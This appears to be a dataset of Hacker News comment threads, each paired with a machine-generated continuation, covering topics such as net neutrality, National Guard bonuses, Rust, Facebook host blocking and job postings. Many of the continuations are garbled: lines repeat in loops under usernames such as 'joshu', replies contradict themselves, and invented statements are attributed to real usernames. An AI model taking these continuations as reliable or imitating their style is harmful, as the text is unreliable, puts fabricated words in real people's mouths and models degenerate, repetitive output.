been more exact in my initial wording. This is the error I\nwas receiving as well, though I check it now and instead am getting an error\nfrom my browser (\"No Data Received\") instead of getting the \"Cannot open\nconnection\" error from the service.\n\nI noticed on Techcrunch today there was a segment on John Oliver's Sunday\nnight HBO show where he discusses Net Neutrality. I didn't watch the clip but\nmaybe the outage is related to this.\n\n------\ndragonwriter\n> Has this site just flat out not worked for anyone since the public comment\n> period began May 15th?\n\nThe site is up and shows 45,647 comments on Proceeding 14-28 \"Protecting and\nPromoting the Open Internet\" in the period since comments opened on it (which\nis more than 30 times the activity of the next-heaviest over the past 30\ndays), so it clearly has worked for some people. I suspect any errors you are\nencountering (the only error I see is if you attempt to click through the link\nto the existing public comments) are because of an unanticipated activity\nlevel resulting from the fact that the comment link"} +{"output_text": " military service in the US, the National Guard and the\nActive Duty.\n\nThe National Guard is a reserve force that is called up to serve in times of\nwar.\n\nThe Active Duty is the regular army that is called up to serve in times of war\nor in case of a national emergency.\n\nThe National Guard is a volunteer force, the Active Duty is a conscripted\nforce.\n\n~~~\nreturn0\nI know, but the difference is that", "input_text": " repay enlistment bonuses - ftrflyr\nhttp://www.latimes.com/nation/la-na-national-guard-bonus-20161020-snap-story.html\n======\nrileymat2\n\"Robert D\u2019Andrea, a retired Army major and Iraq veteran, was told to return a\n$20,000 bonus he received in 2008 because auditors could not find a copy of\nthe contract he says he signed.\"\n\nHow is this possible? If private businesses could do this, it would be mayhem.\n\n~~~\ndogma1138\nI'm surprised that this is somehow even passed the slightest political\noversight.\n\nYou need to be a special kind of bastard to ask some one who willingly signed\nup to get shot at while defending their country to pay back any amount of\nmoney they got paid for doing so.\n\nWars aren't pretty, regardless of what you think about them, and especially\nabout Iraq and Afghanistan never ever take it out on the soldiers, they are\nprobably on your side because unlike most of us they actually seen war.\n\nSoldiers don't decide when, where or against whom to go to war, they are not\nat fault I never understood how the left in the US could blame people who\neither got drafted (vietnam) or signed up to defend their country (post 9/11)\nfor the atrocities of war.\n\n~~~\nreturn0\nMy understanding is that the US has a professional army. Why are they called\n\"volunteers\"? Over here, a volunteer is someone who voluntarily joins earlier\nthan required to begin his mandatory army service. People who join a job are\nall volunteers of course, but that's not remarkable.\n\n~~~\ndogma1138\nThere are two types of"} +{"output_text": " I'm pretty sure it's not that simple.\n\nThe game is about finding the shortest path to the exit, but the exit is\nhidden. The AI has to find the shortest path to the exit, but it can't see the\nexit.\n\n~~~\ndegenerate\nI'm not sure I understand. The AI has to find the shortest path to the exit,\nbut it can't see the exit.\n\n~~~\nVoloskaya\nThe AI has to find", "input_text": "\n\n------\ntom_wilde\nLink to Uber Engineering page on this: [https://eng.uber.com/go-\nexplore/](https://eng.uber.com/go-explore/)\n\nFrom the linked page:\n\nTo enable the community to benefit from Go-Explore and help investigate its\npotential, source code and a full paper describing Go-Explore will be\navailable here shortly.\n\n~~~\nvanderZwan\nThanks, was looking for that link.\n\nTangent: I notice I find it really annoying whenever an internet article talks\nabout a blog post or other article, yet doesn't link to the source on the\nspot. Take this sentence from technologyreview's article:\n\n> _The approach leads to some interesting practical applications, Clune and\n> his team write in a blog post released today_\n\nThere is no excuse to have a sentence like this and not have \"a blog post\" be\na hyperlink. It feels rude somehow, like it's breaking internet etiquette.\n\n~~~\nghthor\nI agree, its rude and breaking an internet etiquette. It also makes it much\nmore difficult for the search robots to make a mapping between pages.\n\n------\ndegenerate\nIn the article, Uber says \" _Surprisingly, despite considerable research\neffort, so far no algorithm has obtained a score greater than 0 on Pitfall._ \"\n\nI played pitfall as a kid and it seems quite straightforward for a computer to\nsolve... jump over the puddle. I'd like if someone could talk more about this\ngame in particular, specifically why it's so hard for AI to solve. Any\ninteresting paper/link on the subject?\n\n~~~\nVoloskaya\nI don't know Pitfall, but"} +{"output_text": "\njoshu\nI wonder if this could be used to do some sort of image recognition.\n\n~~~\njoshu\nI wonder if this could be used to do some sort of image recognition.\n\n------\njoshu\nI wonder if this could be used to do some sort of image recognition.\n\n------\njoshu\nI wonder if this could be used to do some sort of image recognition.\n\n------\njoshu\nI wonder if", "input_text": "!\n\n------\ntommoor\nI don't know why this link doesn't go directly to the source:\n[http://www.clarifai.com/index.html](http://www.clarifai.com/index.html)\n\n------\ncolumbo\nWow! This is really neat, I tried to find images that I didn't think it could\nprocess, the results are interesting.\n\n[http://upload.wikimedia.org/wikipedia/commons/1/1e/Blown_up_...](http://upload.wikimedia.org/wikipedia/commons/1/1e/Blown_up_electrolytic_capacitor.jpg)\n\n[\"piranha\", \"fish\", \"food\", \"water\", \"gold\", \"dish\", \"crab\", \"kitchen\",\n\"glass\", \"silver\"]\n\n[https://www.flippers.com/images/See-SHFA1_Caps&Mods-\nPCB.JPG](https://www.flippers.com/images/See-SHFA1_Caps&Mods-PCB.JPG)\n\n[\"panel\", \"retro\", \"wine\", \"background\", \"design\", \"old\", \"tool\", \"letter\",\n\"art\", \"robot\"]\n\n[http://history.nasa.gov/alsj/a11/a11_lpi_trvrsmap.gif](http://history.nasa.gov/alsj/a11/a11_lpi_trvrsmap.gif)\n\n[\"background\", \"metal\", \"water\", \"man\", \"wall\", \"old\", \"abstract\", \"paper\",\n\"hand\", \"paint\"]\n\n------"} +{"output_text": " be a good idea for places with no running water.\n\n~~~\nfab13n\nI don't know about the bidet part, but I'm pretty sure that the toilet paper\nis not the only thing that gets flushed down the toilet.\n\n------\njoshuaheard\nI'm not sure how this is better than a septic tank.\n\n~~~\njoshuaheard\nI'm not sure how this is better than a septic tank.\n\n~~~\nj", "input_text": "://www.who.int/water_sanitation_health/hygiene/emergencies/fs3_4.pdf)\n\nPlus they have a limited lifetime; they fill up, and you need to dig a new\none.\n\n------\nfab13n\nIt would also make sense in developed countries: shitting in water makes it\nmuch more complicated to treat afterwards, and greatly increases the\necological footprint of that processing. Moreover, it makes failures to\nproperly treat much more dangerous (human feces are where you most easily find\npathogens specialised in human invasion, besides human cadavers).\n\nFeces compost just fine in a dry environment, if you mix it with enough carbon\n(dried plants or sawdust). No treatment, except letting it decompose over a\ncouple of years, and very little smell if the nitrate/carbon/humidity balance\nis respected.\n\nOf course, water companies wouldn't be thrilled by such a simplification, and\npeople like the illusion that their poo-poo just magically disappears when\nthey press a button.\n\n------\nnikolay\nEven simpler mechanisms clog and I don't think this scraper can do such a good\njob, but this still could be better than a septic tank or others alternatives.\n\n------\nww520\nThis device has quite a bit of moving parts, needs periodic part replacement,\nand requires electricity to operate.\n\n------\nrayiner\nWhat does it do with the toilet paper...\n\n~~~\nfab13n\nthat's just more fiber. Besides, in many of the countries targeted by this,\npeople wash with water, rather than sweeping with paper.\n\n~~~\nbrianwawok\nIt is designed for no running water, so I would assume no bidet water also.\nCould"} +{"output_text": " will\nstill be able to track you.\n\n~~~\njoshstrange\nI don't think this is true. I have a phone and a laptop and I have never\nnoticed a difference in the amount of data I am sending to Facebook. I have\nnever had to disable location services on my phone and I have never had to\ndisable microphone access on my laptop.\n\n~~~\nrvshchwl\nI have a phone and a laptop and I have noticed a difference", "input_text": " put this in global context:\n\n \n \n Adblocking is a non-trivial task, but there are trivial solutions.\n \n 1.) Install hosts-gen from http://git.r-36.net/hosts-gen/\n \n % git clone http://git.r-36.net/hosts-gen\n % cd hosts-gen\n % sudo make install\n \n # Make sure all your custom configuration from your current /etc/hosts is\n # preserved in a file in /etc/hosts.d. The files have to begin with a\n # number, a minus and then the name.\n \n % sudo hosts-gen\n \n 2.) Install the zerohosts script.\n \n # In the above directory.\n % sudo cp examples/gethostszero /bin\n % sudo chmod 775 /bin/gethostszero\n % sudo /bin/gethostszero\n % sudo hosts-gen \n \n\nAdd a cron job, and enjoy your faster and adfree-er internet. Further, you can\nadd your custom (this FB) block to the local files in /etc/hosts.d, which then\nwill be concatenated automatically.\n\n[source]: [https://surf.suckless.org/files/adblock-\nhosts/](https://surf.suckless.org/files/adblock-hosts/)\n\n------\nrvshchwl\nThis is a good thing to enable, but I think that smartphones contribute\nexponentially more data to Facebook services than laptops and browsers do.\nSmartphones give easy access to location, background running services,\nmicrophone. Even if you block these permissions to the app, Facebook"} +{"output_text": "haring) -> a coding challenge -> a take-home challenge\n\nIf you're interested, please send an email to jobs@huygens-ing.nl\n\n[1] [https://www.huygens-ing.nl/en/data-\ndeposit/](https://www.huygens-ing.nl/en/data-deposit/)\n\n------\njames-fend\nFend | San Francisco, CA | Full-time", "input_text": " we are a distributed\ncompany. So if you want to try out a move to Nairobi for awhile, here's your\nchance :)\n\nOther positions on our careers page\n[http://careers.andela.com/](http://careers.andela.com/)\n\nReach out to me at scott.carleton@andela.com\n\n------\njauco\nHuygens ING | Amsterdam, The Netherlands | Software Engineer | Full-time,\nonsite | $35K \u2013 $60\n\nBuild open source software that slowly but surely gathers all historical data\nin Europe\n\nWe're a team of engineers at the Royal Academy of Sciences in the Netherlands.\nWe build a Backend as a Service that allows users to deposit their data[1].\nWe're looking for front-end / back-end engineers (we prefer people who like a\nlittle bit of both) to add features for exposing the data (search,\nvisualisation) and for working with the data (distributes storage,\nreasoning/inferring knowledge).\n\nWe provide an environment where people enjoy freedom of work, where our\nclients understand the uncertainty of experimentation (they're researchers\nafter all) and where all code is published under an open-source license.\n\nWe're using java (yes, voluntarily), react/redux (I know, sooo 2016) and we're\nhosting on kubernetes (sorry, no disparaging remark here). We don't really\ncare if you've used these exact technologies before, but we do care if you\nhave built up greenfield applications as well as to have worked on\napplications that have been in development for a few years.\n\nInterview process: phone interview -> at a later date a technical challenge\n(in person or screens"} +{"output_text": "government spending, less debt, more growth).\n\n------\njoshuahedlund\nI'm not sure I agree with the author's conclusion that the \"austerity\nmovement\" is a \"fad\" or \"fashion\" that will pass. I think it's a very\nimportant and long-term trend that will continue to grow.\n\nI think the author is right that the \"austerity movement\" is a reaction to\nthe \"stimulus movement\" and the", "input_text": "informatics; Reinhart-Rogoff's\nfindings were reversed when an additional 5 rows were included in a\nspreadsheet they used to calculate their correlation between GDP growth and\ndebt ratios. And of course, they insist that despite the actual outcome being\n_twice as strong and in the opposite direction_, they still support their\noriginal position.\n\nI wonder if one can get a CS PhD by producing enough retractions. Of course,\nit won't win you many friends in the academy, and would probably lead to less\nsource code made available. But given the Perl code I've seen published who's\ntermination condition is a divide-by-zero exception, one can argue that peer\nreview in the information age has to include code review.\n\n~~~\nsmartbit\nDidn't know about the Reinhart-Rogoff controversy [0], interesting! They state\nthat they have been _careful not to claim that high debt causes slow growth,\nbut rather that it has an \u201cassociation\u201d with slow growth_.\n\n[0] [http://www.huffingtonpost.com/2013/04/16/reinhart-rogoff-\naus...](http://www.huffingtonpost.com/2013/04/16/reinhart-rogoff-austerity-\nresearch-errors_n_3094015.html)\n\n~~~\nlinhchi\nI read abt this quite a bit, the refutation is attacking a small portion of\nthe data, because that small portion is trendy and hot in politics.\n\nJudging academically, the original paper and the refuting paper is a healthy\ndebate, but the dynamic of the society and politics ab-use them to attack a\nwhole school of thought at large (the austrian school: less bailout, less\n"} +{"output_text": "doc/master/book/lifetimes.html](http://static.rust-\nlang.org/doc/master/book/lifetimes.html)\n\n~~~\nsteveklabnik\nThat's a great link, thanks!\n\n------\njosteink\nI'm a bit disappointed that the language is still so young.\n\nI'm not sure if it's a good thing or not, but I'm not sure if I want to\ninvest time in", "input_text": "notes)\n\n------\nglesica\nI've messed around with Rust a little and I love what I see! The documentation\nis still poor (understandable given how quickly the target is moving) but that\nseems to be changing. This is a really exciting, multi-paradigm language and I\nwish Mozilla all the best in developing it further!\n\n~~~\nsteveklabnik\nIve been making it my mission to improve the docs, especially as the language\nsettles down.\n\nAny suggestions welcome, here or via email.\n\n~~~\nsaosebastiao\n1) I think I've had 4 different people try to explain lifetimes to me and I\nstill don't think I understand.\n\n2) The use of pointer dereferencing in closures is still quite confusing to\nme. For example, from the tutorial:\n\n \n \n let square = |x: int| -> uint { (x * x) as uint };\n \n\nno pointer dereferencing, yet:\n\n \n \n [1, 2, 3].map(|x| if *x > max { max = *x });\n \n\nuses pointer dereferencing. I can't figure out any rhyme or reason behind it.\n\n3) How do you create traits that can be automatically derived? How do you\nimplement a default method?\n\n4) How do you create and use macros, and in what situations are they the\nappropriate solution over other forms? (I'm used to using macros in lispy\nlanguages, but using them as pervasively in other languages seems to be a form\nof code smell).\n\n~~~\npitterpatter\nMaybe this will be useful to understanding lifetimes: [http://static.rust-\nlang.org/"} +{"output_text": " me think that the\nbootcamps are a good thing, but I'm not sure if they're the best thing.\n\nI'm a software developer with a degree in computer science. I've been working\nfor a few years now, and I'm not sure if I'm doing the right thing. I'm\nworking on a project that I'm not really passionate about, and I'm not sure\nwhat I should be doing. I'm not sure if I should be working on", "input_text": " those people with\ntechnically fulfilling jobs have little to worry about. The rest of us\nprobably should polish those resumes because the days of six figures to do\nsimple dev work are coming to an end.\n\n------\nlordCarbonFiber\nWith the caveat that I don't have any person experience with the situation in\nCanada, I get immediately suspicious of any article that talks to a \"talent\ngap\". At least in the states, it's not hard to find a developer. What is hard\nhowever, is finding a developer that wants to code your uninspired CRUD app at\nbelow market rates and I that's the issue these bootcamps tend to address.\n\n~~~\nchaghan\nin the land of the blind, the one-eyed man is king How much time can a man\ninvest in learning a really complex stuff so he can work on compilers,\ncreating programming languages or implementing extraordinary search\nalgorithms. And who will pay for that?\n\nThat is the downside of capitalism.\n\nJust take a look at what happened to Oracle when the most brilliant engineers\nleft after they acquired Sun Microsystems. They literally could not find\nanyone for ages to replace these people just because there is not enough\ntalent out there.\n\nAnd that's Oracle. Who else is there that can afford to pay these people?\nGoogle? Maybe. Netflix? aye IBM? likely And maybe few dozens of other\ncorporations.\n\nBut these people do not want to work for corporations instead they need to be\ntreated as special unicorns.\n\n \nGOTO considered helpful - jmount\nhttp://erehweb.wordpress.com/2010/06/24/goto-considered-helpful/\n======\nCodeMage\nI can identify with this article. My own experience makes"} +{"output_text": " the main reason for the failure of the EV1, but it's a good\noverview of the history of EV cars in California.\n\n~~~\ndsfyu404ed\nI watched it. It's a good overview of the history of EV cars in California.\n\nIt's a good overview of the history of EV cars in California.\n\n------\nmatt_wulfeck\nI'm not sure I understand the point of this.\n\nThe article says that", "input_text": " the halo and knock-on effects: as the market adapts to service\nnon-petrol consumers (e.g. fast EV chargers, battery-swap stations, etc) then\nindustries will adapt to take advantage of them too - it wouldn't surprise me\nthis meant the introduction of an EV John Deere tractor powered the same hot-\nswappable EV battery pack that might power a hypothetical Ford truck.\n\n~~~\ndjrogers\nI think the problem is that you're eliminating the cleanest and most regulated\nsegment of the market, so even if it's 40% of the FF used, it's a much smaller\nfraction of pollution produced.\n\n~~~\nmikeyouse\nWhich is mostly irrelevant if carbon is your concern since CO2 emissions are\nfixed per unit of fuel.\n\n~~~\nDaiPlusPlus\n> CO2 emissions are fixed per unit of fuel.\n\nIs this true though? Does it matter on the grade of fuel, or petrol vs diesel?\nI think I read that leaded fuel emits less CO2 than unleaded fuel, but I'd\ndefinitely choose more CO2 than lead in the air, tyvm.\n\n------\ndsfyu404ed\nIf they have the desire to make this a priority and are willing to sink the\nmoney to pull it off then power to them.\n\nIIRC CA had a similar target about electric cars for 2000ish and we all know\nhow that worked out.\n\nIt's easy to dream big. That dirty thing called reality likes to get in the\nway. Being an early adopter is expensive.\n\n~~~\nDaiPlusPlus\nI recommend watching \"Who Killed the Electric Car?\" \\- it explains most of the\nhistory of EV cars in California. I disagree with its conclusion that battery\ntechnology was"} +{"output_text": " > Server\n\nThe virtual abstraction is:\n\nDatacenter > VM > VM Instance > VM Instance Instance\n\nThe container abstraction is:\n\nDatacenter > Container > Container Instance > Container Instance Instance\n\nThe hypervisor abstraction is:\n\nDatacenter > Hypervisor > Hypervisor Instance > Hypervisor Instance Instance\n\nI think we are going to see a new class of cloud providers that are\nspecialized in res", "input_text": "\nNot quite - rkt will bring up a new VM for each container, this approach only\nbrings up a VM per pod (ie, a set of functionally related containers).\n\n~~~\nphilips\nThis isn't correct. rkt does a VM per pod.\n\n------\nandrewstuart2\nThis really does not appeal to me at all. The major point of docker containers\nis not the image format, it's that the kernel can allocate resources more\nintelligently. VM images work just fine for \"shippable images.\"\n\nWhat I'd rather see is an allocation layer for physical resources that just\ncordons off the whole machine (physical or virtual) by tenant as soon as\nprevious tenant resources have been fully consumed, then reclaims hosts after\nusage subsides. So as a provider I still only have one cluster to manage, but\nas a consumer I still don't worry about _another_ layer of abstraction slowing\nthings down or pre-allocating resources.\n\n~~~\nchatmasta\nI'm interested in the economics of (docker) containers vs. virtual machines.\nContainers can run within a VM, but a VM can only run within a hypervisor.\n\nCurrently, if you want to resell computing resources, you need to rent or buy\na dedicated server, and run a hypervisor on it.\n\nContainers enable a new class of reselling computing resources. Because you\ncan run a container within a VM, you can resell computing capacity on a VM.\n\nI think we are going to see another abstraction on top of \"the cloud,\" due to\nthis additional layer of reselling (new russian doll on the inside, new doll\non the outside).\n\nThe physical abstraction is:\n\nDatacenter > Floor Space > Server Rack"} +{"output_text": "\n\n------\njoshu\nI'm not sure I understand the \"juggling\" part.\n\n~~~\njoshu\nI guess I'm not the only one.\n\n------\njoshu\nI'm not sure I understand the \"juggling\" part.\n\n~~~\njoshu\nI guess I'm not the only one.\n\n------\njoshu\nI'm not sure I understand the \"juggling\" part.\n\n~~~", "input_text": "siteswap.html](http://www.twjc.co.uk/siteswap.html)\n\nMuch more in-depth treatment here including synchronous and multiplex\npatterns, ladder and causal diagrams and a bunch of proofs relating to the\nnotation:\n\n[https://www.jugglingedge.com/pdf/BenBeeversGuidetoJugglingPa...](https://www.jugglingedge.com/pdf/BenBeeversGuidetoJugglingPatterns.pdf)\n\nbut you can always go here and try a few patterns such as 3, 441, 531, 504,\n(4,4) or in windmill/Mill's Mess mode, 423\n\n[http://www.gunswap.co/](http://www.gunswap.co/)\n\n------\nqop\nCan more objects be juggled on the moon then on earth?\n\n~~~\nrtkwe\nYes, check the definitions of the author's theoretical max ball calculation on\nthe first page gravitational acceleration determines the 'hang time' of a ball\nfor a given value of hand acceleration. So holding everything else the same\nthe same person with the same ability to throw 9 balls at g=-9.8m/s^2 would\nthrow the balls higher on the moon giving them more room in their pattern for\nmore balls.\n\n------\nErikAugust\nI came here looking for a paper about OO and having too much state. But this\nwas interesting.\n\n------\ntambourine_man\nI'm fascinated by these seemingly useless yet remarkably mind grasping\nproblems.\n\nI remember reading that Feynman had a profound insight while calculating the\nwobbling of plates being thrown on a ship.\n\nYou never know where a fertile mind can be taken by those aimless thoughts."} +{"output_text": ". They are designed for the masses and not for the elite. \\- If you are\nnot in the top 1% of your class, don't worry about it. You will be fine. \\-\nDon't worry about the \"social life\" \\- If you are not in the top 1% of your\nclass, you will be fine. You will be able to find a good girl/guy.\n\nI am not saying that you should not worry about these things. But I am", "input_text": " in the afternoons.\n\nModifying your routine takes a while, do it in baby steps. Remove all\ntemptations that might get in the way to your goals until you achieve them.\nBut keep a good chunk of the day to clean up your head.\n\nOf course, YMMV.\n\n~~~\nalecco\nIt might help to go study to a special quiet and motivational place, a library\nor your aunt's house.\n\n------\nsillysaurus2\nStep back and ask yourself: What are my assumptions? Why do I believe these\nassumptions to be true? What if they aren't true?\n\nYou have at least 50 years ahead of you. That's a long time. But the next 5\nyears will profoundly shape your next 50.\n\nIf that feels like too much pressure, then simply don't worry about it. It's\nmore important to relax than to optimize your life if you're the type of\nperson who doesn't react well to a lot of pressure.\n\n------\ngqvijay\nWow, you sound like me 20 years ago. And I am quiet surprised at \"that's life,\nshape up\" responses.\n\nKnowing what I know now, I wish someone would've told me: \\- Try to get into\ntop schools like Stanford, Harvard, etc. \\- If you don't have the financial\nmeans or the grades or whatever, don't get discouraged one bit! \\- Since you\nenjoy \"programming or researching\", stop stressing over colleges. In my humble\nopinion, most colleges are overrated. They are designed for drones and will\nsuck the passion out of what you are majoring in. (note: may not be true for\nall) \\- In my opinion, typical educational institutions in our country is\nbroken"} +{"output_text": ".\n\n------\njoshstrange\nI'm not sure if this is a good idea or not but I'm going to try it out. I\ndon't have a FB account but I do have a FB page and I'm going to try to\nblock/unblock the IP's that are listed.\n\n------\njoshstrange\nI'm going to try this out. I don't have a FB account but I do have a FB page\nand I'm", "input_text": " HackerNews create pull requests to make the list more up to date.\nI hope they get committed.\n\n[https://github.com/jmdugan/blocklists/pulls](https://github.com/jmdugan/blocklists/pulls)\n\n------\nryanlol\nThis is a terrible approach. Facebook can rotate many of these names whenever\nthey feel like.\n\n------\ncyberferret\nInteresting to see several domain names/servers with'mqtt' referenced.\nWondering if Facebook interacts with IoT devices routinely, or perhaps they\nuse MQTT for Messenger message transfers etc.?\n\n------\nHenryBemis\nI want to share my favorite HOSTS file provider [1] which includes FB\naddresses.\n\n[1]: [http://someonewhocares.org/hosts/](http://someonewhocares.org/hosts/)\n\n~~~\nmito88\ngoatse!\n\n:)\n\n------\nDavideNL\non macOS i use a bash script to get all Facebook ip addresses:\n\n \n \n whois -h whois.radb.net '!gAS32934' | tr'' '\\n' | awk '!/[[:alpha:]]/' > \"/etc/pf.anchors/usr.home.sub/facebook.list\"\n \n\nand then use a pfctl anchor to block them all\n\n \n \n table persist file \"/etc/pf.anchors/usr.home.sub/facebook.list\"\n block drop quick to \n\n------\namelius\nI need something like this that I can install on friend and family's\nphones/iPads/computers whenever they ask me to fix something for them"} +{"output_text": " a\nscholarship. I had to pay for my own tuition.\n\nI was working as a software engineer at a startup at the time. I was making\n$100k+ a year. I was in a relationship with a girl who was a senior in\ncollege. I was living in a nice apartment in a nice neighborhood. I was\ndriving a nice car.\n\nI was miserable. I was miserable because I was working so hard to get to the\ntop", "input_text": "PCA))\n\nSoftware: reverie/CMS. Currently at the end of a rewrite, but I'm fairly\npleased with how far it's gotten. Writing a cache manager is a serious puzzle\nthough!\n([https://github.com/emil0r/reverie](https://github.com/emil0r/reverie))\n\nFamily: My wife. She's amazing :)\n\n------\nsonabinu\nMaking sure my family (better half and three kids) got to do everything they\nnormally did while I was doing my MS program. Big shift from Finance to\nEngineering and the learning on all fronts constantly, both family power and\ncomputing power has been amazing!\n\n------\nsuttree\nI taught myself to code by post/mail.\n\nI didn't make the smartest choices when I was young(er), but I turned that\naround, found a career, ended up co-founding a company and making a cool game\n([http://en.wikipedia.org/wiki/The_Nethernet](http://en.wikipedia.org/wiki/The_Nethernet))\nthen started a new company to help people figure out wtf they can do with\ntheir lives ([https://www.somewhere.com](https://www.somewhere.com)).\n\nSaying that though, the stupid robots I built, the side-projects and the\narticles in Hack Circus mean just as much.\n\nOf course, pride comes before a fall so, yeah, cheers.... ;)\n\n------\nkrishna2\nI got in to CMU for my Masters. Mustered up the guts to quit my job and do it\nfull time. Because I wasn't a citizen (or PR) back then, I didn't get"} +{"output_text": "site\n\niCracked is a mobile app that helps people find the best deals on the things\nthey buy. We're a small team of engineers and designers who are passionate\nabout making the world a better place.\n\nWe're looking for:\n\n* Senior iOS Engineer (Objective-C)\n\n* Senior Android Engineer (Java)\n\n* Senior Front-end Engineer (React)\n\n* Senior Back-end Engineer (Java)\n\n* Senior", "input_text": "com/careers/](http://www.eventmobi.com/careers/)\n\n------\nindiegamergirl\ndeepstreamHub, Berlin - [https://deepstream.io/](https://deepstream.io/)\n\nWe are looking for a skilled and motivated Junior Fullstack Developer to work\non both the deepstream.io open source server and our upcoming realtime data\nplatform deepstreamHub.com (on-site/fulltime in Berlin).\n\nThe role: \\- Contribute to key architectural decisions \\- Developing stunning\nrealtime frontends and user interfaces \\- Creating the backend components that\npower our architecture \\- Contribute to deepstream.io open source and engage\nwith our growing community \\- Extend the deepstream ecosystem with new\nintegrations and frameworks \\- Develop a platform that scales efficiently \\-\nUse a wide array of realtime technologies and cloud infrastructures\n\nFind out more - [https://deepstreamhub.com/careers/junior-\ndeveloper/](https://deepstreamhub.com/careers/junior-developer/)\n\nCheers!\n\n~~~\ntictactoey\nYou guys provide visa service? please help an american escape this Trump\nnation.\n\n------\njaekwon\nAll in Bits, Inc; aka Tendermint;\n\nSee [http://tendermint.com/jobs](http://tendermint.com/jobs) and Cosmos the\npublic blockchain network [http://cosmos.network](http://cosmos.network)\n\nWe're looking for:\n\n* Cryptocurrency researchers * Cryptographers * Golang programmers * Devops/Sysops\n\n------\npault\niCracked (YC W12) | Redwood City, CA | Full-time | On"} +{"output_text": " in the late 90s, and\nhave been declining ever since.\n\n[1] [https://www.cnbc.com/2020/03/19/stocks-are-now-\novervalued-2...](https://www.cnbc.com/2020/03/19/stocks-are-now-\novervalued-2-trillion-in-market-capitalization-says-new-report.html)\n\n~~~", "input_text": " trickle up\neconomics, where the multi-billion dollar corporations and rich alike will\nbegin to feel the pinch of poverty on a massive scale trickle up.\n\nUnfortunately while taxpayers got their $1,200 Checks they were robbed blind\nof over $4T to the FED which went directly to stabilize the publicly traded\ncompanies. If it weren\u2019t for that, we would have already seen bankruptcies on\na massive scale from publicly traded companies...instead the markets are back\nwhere the were pre-covid. But at some point they will have to admit there\ncan\u2019t be a recovery when there are no consumers left.\n\n~~~\ncamillomiller\nI'm frankly flabbergasted by what's going on with the markets. If anyone\nthought stocks were still somehow a projection of reality and an indicator of\nexpectations on the future of a company's performance, well, that's clearly\nnot the case anymore. I am really scared that a real devastating collapse is\nstill looming, but I frankly have no clue of when that could happen and what\ncould actually trigger it.\n\n~~~\njfengel\nIt is baffling, and I've been expecting a crash for a decade... which is the\nproblem. The market can remain irrational longer than you can remain solvent.\n\nRight now it's kind of persistently slightly irrational. A quick-and-dirty\nmeasure of its sanity is the P/E ratio: how much money are the publicly listed\ncompanies actually making? Right now, the number is around 22[1], meaning a\ndollar invested in the market takes 22 years to pay itself back purely in\nterms of corporate profits.\n\nThat's a return of about 3%. Numbers over 20 are generally considered a sign\nthat the market is overheated. They peaked at around 45"} +{"output_text": "wiki/Andr\u00e9_Popp](http://en.wikipedia.org/wiki/Andr\u00e9_Popp)\n\n~~~\njameshart\nI think the Beatles were the first to do it on purpose, but I think the\noriginal idea was to record a song in a studio, then play it back in a\ndifferent studio, and then play it back in the original studio.\n\n~~~\nS_A_P\nI think that is a great point. I", "input_text": " it was a brilliant course, and\nit helped that our school had the funds to build a halfway decent digital\nrecording studio.\n\n~~~\ntehwalrus\nI was lucky enough to attend Hurtwood House - I really wanted to do proper\nMusic A-Level, but they didn't offer it, only music tech.\n\nIn retrospect, I enjoyed it far more than I would have pure music, because I\nwas right in the middle of my guitars-are-awesome phase - a studio was just an\nelaborate set of effects pedals to me.\n\nHurtwood, anyway, had a ridiculously awesome setup - they spend much of the\n(substantial) school fees on Media, Theatre and music tech kit, so full\ndigital edit suites, a huge theatre with proper cabling and sound systems,\nunderground recording studios with proper soundproofing and _huge_ mixers for\nA level projects (In my day, a 24-channel soundcraft monster, plus numerous\nphysical compressors, EQs etc - I remember a particularly expensive white\nvalve-driven vocal preamp! Now I believe their kit is just a digital desk +\nLogic Pro.)\n\nWhen I left for Cambridge, I didn't make it onto their \"wall of fame\" \\-\nbecause Cambridge isn't an Equity-approved drama school. Seriously.\n\n------\nS_A_P\nI think that its a case where a lot of people had the same idea at around the\nsame time. As recording technology advanced in the 1950s, people realized\nthere was some creativity to be found there.\n\nMany people attribute backwards recording to the Beatles and George Martin,\nbut it had been done nearly a decade earlier (on purpose even) by Andr\u00e9 Popp\n[http://en.wikipedia.org/"} +{"output_text": "platform.\n\nWe are a small team of developers and designers, working on a new product\nthat will be released in the next few months. We are looking for someone who\nis passionate about building great products and who is able to work in a\ncollaborative environment.\n\nWe offer a competitive salary, a great work environment, and a chance to work\non a new product.\n\nIf you are interested, please send your resume to jobs@deepstream.io\n", "input_text": "D in Computer Science, Information or equivalent\npractical experience. \\+ 6+ years developing full-stack web applications using\ntools such as Nginx, NodeJS, Express, React and React Native. \\+ Experience\nworking with hardware engineers on Internet of Things (IoT) projects. \\+ Low-\nlevel experience working with scalable information and system architectures.\n(+1M users or devices) \\+ Experience using testing suites and Continuous\nIntegration (CI) in development and deployment. \\+ Good judgment in UX/UI and\nusability. \\+ Mastery of all client-side languages, libraries and practices\n(i.e. can build any interface with ease) \\+ Familiarity with agile development\npractices (e.g. scrums, etc.) \\+ Mastery of version control (such as Git) in\nthe development process.\n\nHOW TO APPLY Post your resume and a cover letter briefly describing why you\u2019re\ninterested in growing with Smart Yields to lizzy@smartyields.com\n\n------\nx110dc\nThe Texas Tribune | Software Engineer | Austin, Tx | ONSITE\n\nWe're seeking a Python developer (Django experience is a plus!)\n\nPlease see here for details:\n\n[https://www.texastribune.org/jobs/software-\nengineer/](https://www.texastribune.org/jobs/software-engineer/)\n\nApplying simply involves emailing your cover letter and resume to tech-\njobs@texastribune.org. Also email there with any questions.\n\n------\ntroika\nBERLIN ONSITE FULLTIME\n\nWe are looking for a skilled and motivated Junior Fullstack Developer to work\non both the deepstream.io open source server and our upcoming realtime data\n"} +{"output_text": " talented people leave.\n\nThe only way to fix this is to get the culture back to the way it was, and\nthat means a new CEO.\n\n~~~\njoezydeco\n_Microsoft does not seem to get the web at a fundamental level, it doesn't\nseem to have the capacity to release software at a pace of yearly, monthly, or\ncontinuously._\n\nI think you're right about that. I think the problem is that Microsoft has", "input_text": " a\ngood number of smart decisions and putting out a solid anchor product that\n(re)cements their position in the industry and reinvigorates the brand in\ndoing so. Windows 95 and Windows 7 are perfect examples. IE4 (yes really),\nBing, and Windows Phone 7 are also good examples. One of the big problems with\nMicrosoft is that its organization and its culture are extremely tied to the\ntraditional 3-ish year ship cycle. A hugely successful diving catch every\nother ship cycle or so is rapidly becoming less and less feasible as a means\nto hang on to or acquire a market. Microsoft does not seem to get the web at a\nfundamental level, it doesn't seem to have the capacity to release software at\na pace of yearly, monthly, or continuously.\n\nAnd that will ultimately be the undoing of Bing and the Windows Phone. The\nonly way MS knows how to crank out releases faster is the deathmarch, and that\nis a certain route to doom.\n\nWorse yet, since Gates left MS has no real technical or managerial leadership,\nit's 